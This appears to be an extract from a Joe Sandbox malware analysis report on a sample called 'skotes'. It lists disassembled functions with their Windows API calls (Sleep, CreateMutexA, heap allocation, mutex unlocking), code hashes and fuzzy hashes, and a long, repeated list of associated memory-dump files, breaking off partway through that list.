Instruction ID: 75c500fcf0b735111b8f6c10123c2487321bec4f5c91adb540a39ba2def1d792
Opcode Fuzzy Hash: dccb1bb7c23978709e238a566aba185d3d751aa01a4ae6ef0815d934211134e0
Instruction Fuzzy Hash: 6D214C317042009BEB18AB6DECC9BECF762EBC1320F20421DE518DB2D5D7BA4980EB11

Function 00FBA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00FBA963
CreateMutexA.KERNELBASE(00000000,00000000,01013254), ref: 00FBA981

Memory Dump Source

Source File: 00000002.00000002.2271577590.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000002.00000002.2271536737.0000000000FB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271577590.0000000001012000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271715551.0000000001019000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271760833.000000000101B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271789531.0000000001027000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272052429.000000000117E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272266694.0000000001180000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272363515.0000000001198000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272363515.00000000011A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272435566.00000000011A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272463470.00000000011AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272498789.00000000011AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272531533.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272564269.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272588907.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272646359.00000000011C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272672838.00000000011C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272712000.00000000011C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272746704.00000000011C6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272790212.00000000011D6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272824549.00000000011D8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272873691.00000000011DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272913150.00000000011DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272947272.00000000011DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272988713.00000000011EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273036260.0000000001206000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273071657.0000000001209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273106419.000000000120A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273144651.0000000001215000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273193158.000000000121D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273236804.0000000001221000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273272338.0000000001229000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273310725.000000000122C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273347459.000000000122D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273380658.000000000122F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273405434.0000000001230000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273448003.0000000001235000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273481107.0000000001236000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273513738.0000000001237000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273551093.000000000123F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273586467.0000000001242000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273629534.000000000124A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273671410.000000000124C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273728161.0000000001280000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273766977.0000000001282000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273766977.000000000128F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273860732.00000000012BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273885767.00000000012BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273922756.00000000012C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273958466.00000000012C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273993281.00000000012D2000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 48f1227d796ee98a8a0ab2252ab3e9fdeb2e9945b3afbc67fffb25eb099c5e0f
Instruction ID: 78eb5536145fecd57014b552741e8cbb11757a739a7a00db1922d150568078e8
Opcode Fuzzy Hash: 48f1227d796ee98a8a0ab2252ab3e9fdeb2e9945b3afbc67fffb25eb099c5e0f
Instruction Fuzzy Hash: 41216D31B452018AE724776FDC8A7EDB212AFC1310F20481BE148D66C1C67E8881BA93

Function 00FBA34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00FBA963
CreateMutexA.KERNELBASE(00000000,00000000,01013254), ref: 00FBA981

Memory Dump Source

Source File: 00000002.00000002.2271577590.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000002.00000002.2271536737.0000000000FB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271577590.0000000001012000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271715551.0000000001019000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271760833.000000000101B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271789531.0000000001027000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272052429.000000000117E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272266694.0000000001180000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272363515.0000000001198000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272363515.00000000011A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272435566.00000000011A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272463470.00000000011AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272498789.00000000011AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272531533.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272564269.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272588907.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272646359.00000000011C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272672838.00000000011C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272712000.00000000011C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272746704.00000000011C6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272790212.00000000011D6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272824549.00000000011D8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272873691.00000000011DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272913150.00000000011DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272947272.00000000011DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272988713.00000000011EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273036260.0000000001206000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273071657.0000000001209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273106419.000000000120A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273144651.0000000001215000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273193158.000000000121D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273236804.0000000001221000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273272338.0000000001229000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273310725.000000000122C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273347459.000000000122D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273380658.000000000122F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273405434.0000000001230000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273448003.0000000001235000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273481107.0000000001236000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273513738.0000000001237000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273551093.000000000123F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273586467.0000000001242000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273629534.000000000124A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273671410.000000000124C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273728161.0000000001280000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273766977.0000000001282000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273766977.000000000128F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273860732.00000000012BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273885767.00000000012BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273922756.00000000012C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273958466.00000000012C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273993281.00000000012D2000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 0beab45deaf6cea120bb6ce4d26289ddac6ca39e797762bb74c00f93d28b3264
Instruction ID: 6d4671960401e839316f8434864a15b1ebc971c06689709f25c5cbcd37c41a31
Opcode Fuzzy Hash: 0beab45deaf6cea120bb6ce4d26289ddac6ca39e797762bb74c00f93d28b3264
Instruction Fuzzy Hash: 2B216E327442009BEB18AB6DDC89BECB762EBD1320F24421EE409DB7D5D77A5580EB52

Function 00FED82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00FEA813,00000001,00000364,00000006,000000FF,?,00FEEE3F,?,00000004,00000000,?,?), ref: 00FED870

Memory Dump Source

Source File: 00000002.00000002.2271577590.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000002.00000002.2271536737.0000000000FB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271577590.0000000001012000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271715551.0000000001019000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271760833.000000000101B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271789531.0000000001027000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272052429.000000000117E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272266694.0000000001180000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272363515.0000000001198000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272363515.00000000011A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272435566.00000000011A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272463470.00000000011AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272498789.00000000011AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272531533.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272564269.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272588907.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272646359.00000000011C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272672838.00000000011C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272712000.00000000011C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272746704.00000000011C6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272790212.00000000011D6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272824549.00000000011D8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272873691.00000000011DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272913150.00000000011DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272947272.00000000011DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272988713.00000000011EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273036260.0000000001206000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273071657.0000000001209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273106419.000000000120A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273144651.0000000001215000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273193158.000000000121D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273236804.0000000001221000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273272338.0000000001229000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273310725.000000000122C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273347459.000000000122D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273380658.000000000122F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273405434.0000000001230000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273448003.0000000001235000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273481107.0000000001236000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273513738.0000000001237000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273551093.000000000123F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273586467.0000000001242000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273629534.000000000124A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273671410.000000000124C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273728161.0000000001280000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273766977.0000000001282000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273766977.000000000128F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273860732.00000000012BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273885767.00000000012BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273922756.00000000012C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273958466.00000000012C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273993281.00000000012D2000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fb0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c5f7664d1a6c9a09a2fc5764095ba3101005ddac0c9f7c937f974d3674132bb7
Instruction ID: 2b6365c7a7e6c2c6326801c23f1161dfec8d35524664dc4d95467ded7413330e
Opcode Fuzzy Hash: c5f7664d1a6c9a09a2fc5764095ba3101005ddac0c9f7c937f974d3674132bb7
Instruction Fuzzy Hash: 9BF02E32A462F466EB313A739C01B5B3759DF41770B188021FC48E7981DE25EE01B2E1

Non-executed Functions

Function 00FB2EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00FB2F5F
__Mtx_unlock.LIBCPMT ref: 00FB2FCC
__Cnd_broadcast.LIBCPMT ref: 00FB2FE3
__Mtx_unlock.LIBCPMT ref: 00FB30F5
__Mtx_unlock.LIBCPMT ref: 00FB319B

Memory Dump Source

Source File: 00000002.00000002.2271577590.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000002.00000002.2271536737.0000000000FB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271577590.0000000001012000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271715551.0000000001019000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271760833.000000000101B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271789531.0000000001027000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272052429.000000000117E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272266694.0000000001180000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272363515.0000000001198000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272363515.00000000011A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272435566.00000000011A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272463470.00000000011AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272498789.00000000011AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272531533.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272564269.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272588907.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272646359.00000000011C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272672838.00000000011C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272712000.00000000011C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272746704.00000000011C6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272790212.00000000011D6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272824549.00000000011D8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272873691.00000000011DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272913150.00000000011DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272947272.00000000011DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272988713.00000000011EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273036260.0000000001206000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273071657.0000000001209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273106419.000000000120A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273144651.0000000001215000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273193158.000000000121D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273236804.0000000001221000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273272338.0000000001229000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273310725.000000000122C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273347459.000000000122D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273380658.000000000122F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273405434.0000000001230000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273448003.0000000001235000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273481107.0000000001236000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273513738.0000000001237000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273551093.000000000123F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273586467.0000000001242000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273629534.000000000124A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273671410.000000000124C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273728161.0000000001280000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273766977.0000000001282000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273766977.000000000128F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273860732.00000000012BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273885767.00000000012BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273922756.00000000012C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273958466.00000000012C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273993281.00000000012D2000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fb0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: c64b582584f1ba6f1b77191c70a155b5838d7e0e67f371d6fce0612362c8bbe2
Instruction ID: f5ee0a315b13735ce78b5442ae3d57aee6f27532b6768a99d802f446fa2a376d
Opcode Fuzzy Hash: c64b582584f1ba6f1b77191c70a155b5838d7e0e67f371d6fce0612362c8bbe2
Instruction Fuzzy Hash: 2BA1F371E41206AFDB10EF65CE45BAAB7A8FF14364F04812DE819D7241EB35EA04EBD1

Function 00FECBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00FECC66

Memory Dump Source

Source File: 00000002.00000002.2271577590.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000002.00000002.2271536737.0000000000FB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271577590.0000000001012000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271715551.0000000001019000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271760833.000000000101B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271789531.0000000001027000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272052429.000000000117E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272266694.0000000001180000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272363515.0000000001198000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272363515.00000000011A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272435566.00000000011A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272463470.00000000011AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272498789.00000000011AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272531533.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272564269.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272588907.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272646359.00000000011C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272672838.00000000011C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272712000.00000000011C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272746704.00000000011C6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272790212.00000000011D6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272824549.00000000011D8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272873691.00000000011DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272913150.00000000011DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272947272.00000000011DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272988713.00000000011EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273036260.0000000001206000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273071657.0000000001209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273106419.000000000120A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273144651.0000000001215000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273193158.000000000121D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273236804.0000000001221000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273272338.0000000001229000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273310725.000000000122C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273347459.000000000122D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273380658.000000000122F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273405434.0000000001230000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273448003.0000000001235000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273481107.0000000001236000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273513738.0000000001237000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273551093.000000000123F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273586467.0000000001242000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273629534.000000000124A000.00000080.00000001.01000000.00000007.sdmpDownload File
